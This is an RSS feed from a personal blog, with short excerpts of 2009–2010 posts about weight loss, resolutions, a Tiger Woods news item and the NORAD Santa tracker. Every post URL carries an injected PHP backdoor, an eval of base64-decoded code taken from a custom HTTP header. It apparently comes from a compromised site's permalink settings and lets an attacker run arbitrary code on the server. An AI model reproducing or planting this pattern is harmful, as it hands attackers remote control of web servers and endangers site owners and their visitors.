http://katsalterego.com Kats skewed outlook on life, love and the pursuit of happiness Mon, 19 Apr 2010 20:52:19 +0000 http://backend.userland.com/rss092 en Success comes in five pound increments! Having decided to lose this fluffy exterior that made me feel like the Pillsbury dough girl, I decided the best way to go for me is to turn weight loss into a game. After joining a big loser club better known as Weight Watchers, ... http://katsalterego.com/2010/04/19/success-comes-in-five-pound-increments/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ The longer I’m doing Weight Watchers the more I’m realizing that it’s not as complicated as some might think. As a foodie, I can appreciate the fact that they aren’t telling me what I can and can not eat, I’m doing that on my own. Expense wise, if you ... http://katsalterego.com/2010/03/31/tales-of-a-fluffy-girl-going-thin/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ In preparation for Summer 2010, better known as bikini top and board shorts weather, I’ve been slowly dropping some much unwanted poundage. While being “fluffy” does have its advantages, such as one will float vs. sink, it has a decidedly huge down side as well. As you know I began ... http://katsalterego.com/2010/03/29/kats-getting-her-beach-body-back/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ This morning, as I was getting dressed for work, I had on Fox11 news. Instead of seeing the usual traffic jams and hearing the news of the morning, I was forced to watch a very public apology of a man to his wife, family, friends, the general public and sponsors, ... http://katsalterego.com/2010/02/19/tiger-woods-public-apology/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Sometimes, I get so wrapped up in what I am doing that I don’t stop to ask for help for a plethora of reasons… such as I don’t want to sit there and explain something that would take me longer to explain than do myself, the idea that I might ... http://katsalterego.com/2010/02/08/control-issue/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ I’ve decided this is the year that I’m going to open myself up to new things, new relationships, new experiences and new people, being willing to explore and accept myself I’m open to accept others into my life. Now that 2010 is in full swing, it’s time to grab ... http://katsalterego.com/2010/01/14/opening-ones-self-to-living-life/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Just recently, I had headed down to my local grocery store to buy feminine hygiene products, as I was out and the “auntie” came to visit. I moseyed over to the correct isle and while I was checking out the various products available to us women, I noticed a gaggle ... http://katsalterego.com/2010/01/08/customer-service-at-its-finest/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ In the spirit of trying to keep my new years resolutions up and going, I’ve knuckled down and re-logged into a site I’ve known about for years. Fitday.com, is a free food tracking site and I must say it’s wonderful. I first discovered it way back in 2001 and ... http://katsalterego.com/2010/01/06/keeping-up-the-resolutions/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ It’s that time of year where we, take a couple of moments to toss about ideas for resolutions. So… here I go. I resolve to do the following: Shed 30 pounds Post to the blog, at least once a week Take time off to smell the proverbial roses Meet up with my various ... http://katsalterego.com/2010/01/05/kats-new-years-resolutions/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ [caption id="" align="aligncenter" width="800" caption="Norad Santa Tracker"][/caption] Its that time of year again... Norad has been using the Santa Tracker system to follow his progress across the globe.   Now you too can follow his journey across the globe as he drops off presents for good boys and girls all over the ... http://katsalterego.com/2009/12/24/norad-tracks-santa/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/